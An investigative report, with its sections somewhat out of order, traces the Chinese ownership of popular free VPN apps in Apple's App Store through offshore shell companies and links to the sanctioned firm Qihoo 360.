Listed developer: World Creation Technology Limited Lifetime U.S. downloads according to AppMagic: >200,000 Hong Kong corporate records show that World Creation’s sole shareholder and officer is a Chinese citizen, who lists an address identical to that of the company’s Hong Kong registered agent (indicating they likely do not live at that address). An archived version of the App Store page shows it previously listed its developer as CTECH GLOBAL PTE LTD, which is a Singapore company with two shareholders, one Canadian and one Chinese. The Chinese CTECH shareholder, Zhao Faming, was described as the company’s founder in an article on the Hong Kong Trade Development Council website. The article also stated that CTECH had a branch in Guangzhou, China. TTP found no information on the relationship between CTECH and World Creation. #87, Incognito Net (removed from App Store)

Listed developer: Meteor Network Technology Limited Lifetime U.S. downloads according to AppMagic: >200,000 This app was taken down before TTP began its investigation, but relevant information is available on AppMagic. Hong Kong corporate records that show the sole officer/shareholder of Meteor Network Technology is a Chinese citizen with an address in mainland China. #100, Pearl VPN

Listed developer: Xian YuanChuangYouPin Network Tech Limited Lifetime U.S. downloads according to AppMagic: >500,000 According to Chinese corporate data aggregator Qichacha, this is a company in Xi’an, China. There is very little publicly available information about it.

Qihoo 360 did not respond to questions about the current status of its app holdings, but TTP found evidence that suggests the company remains connected to the apps.

In its 2020 annual report, Qihoo 360 said it sold something called “Project L,” which appears to be the app-related companies Lemon Seed, Lemon Clove, and Autumn Breeze, to unnamed “external parties.” (Qihoo 360 does not describe Project L, but key pieces of information it does disclose about the project, including how much it cost to acquire and when it was originally acquired, match the information Qihoo provided for the three app-related companies.) The sale occurred in September 2020, according to Qihoo 360, a few months after the U.S. Commerce Department sanctioned the company as a national security threat.

However, corporate registration documents for Lemon Seed in the Cayman Islands as well as Lemon Clove, Autumn Breeze, and Innovative Connecting in Singapore suggest an ongoing connection with Qihoo 360. The most recent corporate filings for Lemon Seed, Lemon Clove, Autumn Breeze, and Innovative Connecting, from March 2025, all list one director, Chen Ningyi. (Three of the filings identify this person as a Chinese national.) The name Chen Ningyi is on a Qihoo patent from 2017. The Chinese version of this patent gives Chen’s name in Chinese characters, which matches an individual who was described in 2020 by China Daily, the mouthpiece of the Chinese Communist Party, as a general manager of 360 Mobile Guard, Qihoo 360’s mobile phone security app.

This same Chen Ningyi was also named a board member and legal representative of a Qihoo subsidiary when it was sold to another Chinese tech firm in March 2023. (See additional research details at the bottom of the report.)

Qihoo 360 may have entered the app business through a little-known Chinese company called Guangzhou Quanyong Information Technology Co., Ltd., TTP’s investigation found.

Guangzhou Quanyong developed apps for Apple’s iOS and Android, and corporate records show it created several apps in the Innovative Connecting network. According an undated profile in PitchBook, which collects market data on mergers and acquisitions, Qihoo 360 acquired “SpringTech,” which appears to be the English name for Guangzhou Quanyong. (The “quan” in Quanyong means “spring.”) Guangzhou Quanyong officially dissolved in 2022, but shared the same address as the Qihoo subsidiary described above.

TurboVPN, the first VPN mentioned in this section, has been advertising itself on Facebook and Instagram this year. One of its ad campaigns, which ran in January and February, targeted Spanish-speaking users in the U.S., saying Turbo VPN can help with the threatened U.S. TikTok ban.

1 of 4 A recent ad campaign on Facebook and Instagram promoted the Chinese app TurboVPN. Hong Kong shell companies A number of the VPN apps in the Apple App Store traced back to Hong Kong companies, which were ultimately owned by individuals or companies in mainland China.

While Hong Kong may conjure up a benign image in the minds of some Americans, owing to its long history of relative autonomy from China, the region since 2020 has experienced a sharp crackdown on pro-democracy activists and opposition leaders orchestrated by the central government in Beijing. New Hong Kong national security laws have been used to justify this crackdown, including a controversial ordinance introduced in March 2024. Last year, the U.S. government issued a warning to American businesses operating in Hong Kong that they face risks of warrantless surveillance and forced surrender of data to authorities due to the region’s national security laws.

One of the apps examined by TTP, X-VPN, was the 4th most popular free VPN app in the U.S. for iPhone and iPad in 2024. The app’s page in the Apple App Store gives its developer as Free Connected Limited, a generic-sounding company with no obvious connection to China. However, the app’s privacy policy, which users must click to view outside the App Store, shows that Free Connected is based in Hong Kong.

TTP found Free Connected Limited listed in the Hong Kong government’s corporate registry and examined the company’s most recent annual filings. These filings indicate the company is actually owned by a Chinese tech firm, Chengdu Zhuozhuo Technology Co., Ltd. Chengdu Zhuozhuo’s website says the company is focused on “internet transmission and network resources integration.”

Free Connected Limited has run multiple ads for X-VPN on Google, with one ad from February promoting it to Americans as a way to get around the TikTok ban. “Best Free VPN for TikTok Ban,” the ad states, adding, “Use TikTok Anytime in US with X-VPN.”

1 of 3 The Chinese firm Free Connected Limited ran an ad campaign for its X-VPN app on Google. Another app called VPNIFY, which ranked 25th among top free VPN apps, gives its developer as Neonetworks solution ltd. Again, this is not a name that gives any indication of a China connection. But at the bottom of Neonetworks’ externally linked privacy policy page, it gives a Hong Kong address.

Neonetworks’ 2024 incorporation form in Hong Kong shows that its sole shareholder is a Chinese citizen and resident of mainland China.

An app called VPN Bucks also had a Hong Kong connection. The app, ranked 22nd, gave its developer as Free Apps Limited, a company registered in Hong Kong that was dissolved in 2021. The company’s last annual report in Hong Kong showed that its sole shareholder was a Chinese citizen with an address in Guangzhou, southern China. VPN Bucks’ App Store page still listed Free Apps Limited as its developer in 2024 when TTP conducted its initial research; the app has since been removed from the App Store.

TTP also found that VPN Bucks’ privacy policy contained identical passages to that of VPN Proxy Master, an app described earlier in this report that is part of the Innovative Connecting network. The VPN Bucks’ privacy policy even retained a reference to “Innovative” in its text, in a line that began, “Innovative’s registered place of business is in Singapore.” (TTP found no additional evidence connecting VPN Bucks to Innovative Connecting, and it is possible the developers of VPN Bucks simply copied the privacy policy of an Innovative Connecting app.)

It was a similar story with LinkWorldVPN, another app that fell just outside the top-100 ranking. TTP determined that its developer, MUSKETEER NETWORK TECHNOLOGY LIMITED, is a Hong Kong company. Corporate records there show the company’s sole officer/shareholder is a Chinese citizen with an address in mainland China.

LinkWorldVPN has disappeared from the Apple App Store since TTP conducted its initial research. But TTP found that the app ran a months-long ad campaign on Facebook and Instagram last year in both the U.S. and Europe.

Because Meta’s Ad Library preserves data about ads that run in the European Union in keeping with EU law, we can see that the LinkWorldVPN ads targeted users as young as 13.

1 of 3 LinkWorld VPN ran a months-long Meta ad campaign last year. Other apps traced back to China Some of the apps identified by TTP appeared to be linked to companies outside China but ultimately showed evidence of Chinese ownership.

For example, one app examined by TTP, WireVPN - Fast VPN & Proxy (ranked 23rd), gives its developer as WEILAI NETWORK TECHNOLOGY CO., LIMITED.

TTP found an exact match for a UK-based company with this name, with an address in Warwickshire, England. However, the company’s sole director is a Chinese national who resides in China. According to UK corporate records, this Chinese national exercises “significant control” over the company, owning 75% or more of shares and voting rights.

As with previous examples in this report, this entity appears to be a shell company: Its most recent annual accounts filing in the UK indicates it had just £100 in assets and that it was dormant, meaning it had not recorded any business activity or income that year.

The app’s privacy policy includes language that appears to be lifted directly from Chinese government regulations prohibiting “harmful information” that hurts China’s national honor or attacks the Chinese Communist Party.

A similarly named app called Wirevpn – Secure & Fast VPN (ranked 68th) lists its developer as freevpn Ltd. That company is registered in Belize, but it has a privacy policy that is identical to the other WireVPN app mentioned above.

The privacy policy of two Wire VPN apps appeared to copy Chinese government regulations on “harmful information.” Two other apps, VPN Proxy OvpnSpider (ranked 36th) and Best VPN Proxy AppVPN (ranked 82nd), list their developer as WCOMES TECHNOLOGIES CO., LIMITED. TTP found corporate filings that indicate this is a Hong Kong company. According to its most recent annual return filed in Hong Kong, the company has two shareholders who are residents of mainland China, and at least one of them is a Chinese citizen.

According to independent researchers who looked at this company previously, it has a development team in Minsk, Belarus—which, like China, is an authoritarian country known for cracking down on dissent. Job listings on the WCOMES website note the company’s office location in Minsk.

Conclusion TTP’s findings show that a significant number VPN apps in Apple’s App Store trace back to China, a fact that may be putting the privacy of American users, and U.S national security, at risk. Americans may be downloading these apps and using them to browse the internet without any knowledge that their data may be subject to China’s national security laws and accessible by the Chinese government. For Apple, a company that markets itself as a champion of user privacy and security, this is a glaring security oversight.

Millions of Americans are inadvertently sending their internet traffic to Chinese companies—including several tied to the People’s Liberation Army. Millions of Americans have downloaded apps that secretly route their internet traffic through Chinese companies, according to an investigation by the Tech Transparency Project (TTP), including several that were recently owned by a sanctioned firm with links to China’s military.

TTP’s investigation found that one in five of the top 100 free virtual private networks in the U.S. App Store during 2024 were surreptitiously owned by Chinese companies, which are obliged to hand over their users’ browsing data to the Chinese government under the country’s national security laws. Several of the apps traced back to Qihoo 360, a firm declared by the Defense Department to be a “Chinese Military Company." Qihoo did not respond to questions about its app-related holdings.

VPNs allow users to mask the IP address that can identify them, and, in theory, keep their internet browsing private. For that reason, they have been used by people around the world to sidestep government censorship or surveillance, or because they believe it will improve their online security. In the U.S., kids often download free VPNs to play games or access social media during school hours.

However, VPNs can themselves pose serious risks because the companies that provide them can read all the internet traffic routed through them. That risk is compounded in the case of Chinese apps, given China’s strict laws that can force companies in that country to secretly share access to their users’ data with the government.

It would be hard for U.S. users to avoid the Chinese VPNs. The ownership of many appeared deliberately opaque, with several concealing their structure behind layers of offshore shell companies. TTP was able to determine the Chinese ownership of the 20 VPN apps being offered to Apple’s U.S. users by piecing together corporate documents from around the world. None of those apps clearly disclosed their Chinese ownership.

The VPN apps identified by TTP have been downloaded more than 70 million times from U.S. app stores, according to data from AppMagic, a mobile apps market intelligence firm.

One Chinese VPN has been advertised on Facebook and Instagram to teens as young as 13, and some have targeted ads at Americans looking to keep using TikTok, another Chinese app threatened with a U.S. ban. U.S. lawmakers said they acted on TikTok over concerns it could collect data from its American users on behalf of the Chinese government. However, lawmakers have not given sustained attention to this wider category of VPN apps that could make Americans’ internet traffic available to Chinese authorities.

The findings raise questions about Apple’s carefully cultivated reputation for protecting user privacy. The company has repeatedly sought to fend off antitrust legislation designed to loosen its control of the App Store by arguing such efforts could compromise user privacy and security. But TTP’s investigation suggests that Apple is not taking adequate steps to determine who owns the apps it offers its users and what they do with the data they collect. More than a dozen of the Chinese VPNs were also available in Apple’s App Store in France in late February, showing that the issue extends to other Western markets.

Apple’s guidelines for app developers state that apps offering VPN services “may not sell, use, or disclose to third parties any data for any purpose.” It isn’t clear how Apple reconciles that policy with the presence of Chinese VPN apps in its App Store, given those apps can be required by law to turn over user data to Chinese authorities.

Apple and most of the app developers mentioned in this report did not respond to requests for comment. Emails sent to two of the apps, Thunder VPN and Snap VPN, bounced back as undeliverable, and another app, Speedy Quark VPN, provided an online contact form which was not functional.

Background and methodology China has enacted a series of national security laws over the last decade outlining its access to data held by Chinese companies. Chief among these is the country’s National Intelligence Law of 2017, which requires that China-based organizations and individuals cooperate with state intelligence work. According to guidance from the U.S. Department of Homeland Security, in practice, this means that Chinese intelligence agencies may demand access to data of U.S. individuals and businesses held by Chinese entities and even compel the creation of backdoors in equipment and software.

The guidance also specifically references apps, stating, “Data collected through software and mobile applications owned or operated by PRC firms is also accessible to the PRC government through its legal system.”

Citing the risks of China collecting data on U.S. users, Congress last year passed legislation forcing a sale or ban of TikTok, though President Trump has temporarily suspended enforcement of the law to give more time to find a potential buyer, and Apple and Google have restored TikTok to their app stores after briefly removing them.

In addition to the TikTok ban, the U.S. in 2020 forced Chinese gaming company Beijing Kunlun Tech to sell off U.S.-based Grindr, the LGBTQ dating app, amid concerns that the user data collected by the app, including HIV status, could be leveraged to blackmail American officials or military personnel.

The U.S. has also banned approvals of new telecommunications equipment from Huawei and other Chinese companies and authorized funds to help small and rural U.S. phone networks remove and replace Chinese-made telecom gear, which U.S. officials say provides an opportunity for spying on Americans.

A handful of U.S. lawmakers—including Sens. Mark Warner (D-VA), Ron Wyden (D-OR), and Marco Rubio (R-FL), who is now secretary of state—have raised alarm in recent years that foreign VPN apps, particularly those controlled by China or Russia, could be used to surveil U.S. government employees and spy on Americans. But the issue has not yet attracted major public attention or broader interest in Congress.

To test the availability of Chinese VPN apps in the Apple App Store, TTP started with a list of the top 100 most downloaded free VPN apps for iPhone and iPad in 2024 in the U.S., as ranked by AppMagic, a mobile apps market service. AppMagic estimates download data and app revenue based on public databases and information submitted by app developers who use its platform. (Apple does not provide exact download statistics for the App Store.)

App pages in the Apple App Store are required to provide the name of the developer and a link to the app’s privacy policy. For each of the free VPN apps in the dataset, TTP sought to identify the app developer’s location via information on the App Store page, the app’s privacy policy page, and any other external websites associated with the app. The research at times involved tracking ownership via layers of shell companies. If the app’s developer was based in Singapore, the Cayman Islands, Hong Kong, or mainland China, TTP examined corporate records where available.

Ultimately, TTP determined that 20 of the top 100 free VPN apps in the App Store were owned by companies or individuals based in mainland China or Hong Kong but did not clearly disclose their China ties. (Companies registered in Hong Kong are subject to that region’s own, separate national security laws, though most of the Hong Kong companies identified by TTP appeared to be shell companies operated by owners in mainland China.)

TTP excluded apps from its count that clearly labelled themselves as Chinese in the App Store, making their China connection clear to users.

Link to U.S.-sanctioned company TTP started with an app called Turbo VPN, which ranked 13th in the top 100 free VPN offerings in the Apple App Store last year. The app’s developer is listed as Innovative Connecting Pte. Ltd. (This company is also the developer of a free VPN app called Signal Secure VPN that is not in the top 100.)

Innovative Connecting Pte. Ltd is registered in Singapore, and corporate records there indicate its sole shareholder is an entity called Lemon Seed Technology Ltd. in the Cayman Islands.

A major Chinese cybersecurity company called 360 Security Technology, also known as Qihoo 360, stated in a 2019 annual report filed with the Shanghai Stock Exchange that it acquired Lemon Seed and two other companies for “US$69.4 million and an intangible asset.” The other companies were Lemon Clove Pte. Ltd. and Autumn Breeze Pte. Ltd.

This shows Qihoo 360 acquired the owner of Innovative Connecting, the developer of VPN apps in the Apple App Store. The U.S. Commerce Department sanctioned Qihoo 360 on national security grounds in June 2020, citing the “significant risk” that it takes part in the “procurement of commodities and technologies for military end-use in China.”

The company was put on the Commerce Department’s Entity List, which restricts its ability to receive U.S. exports without a license due to national security concerns. According to a 2015 article in the state-run China Daily, Qihoo 360’s customers have included China’s People’s Liberation Army and at least eight Chinese government ministries. It has been designated by the U.S. Department of Defense as a “Chinese military company” operating in the U.S.

Innovative Connecting—the app company that came under the control of Qihoo—is behind multiple VPNs through a network of interlocking companies, according to a previous report by industry research firm VPNpro.

Its companies developed two other VPNs in the top 100 free downloaded list last year—VPN Proxy Master (ranked 12th) and Thunder VPN (ranked 60th), as well as an unranked app, Snap VPN.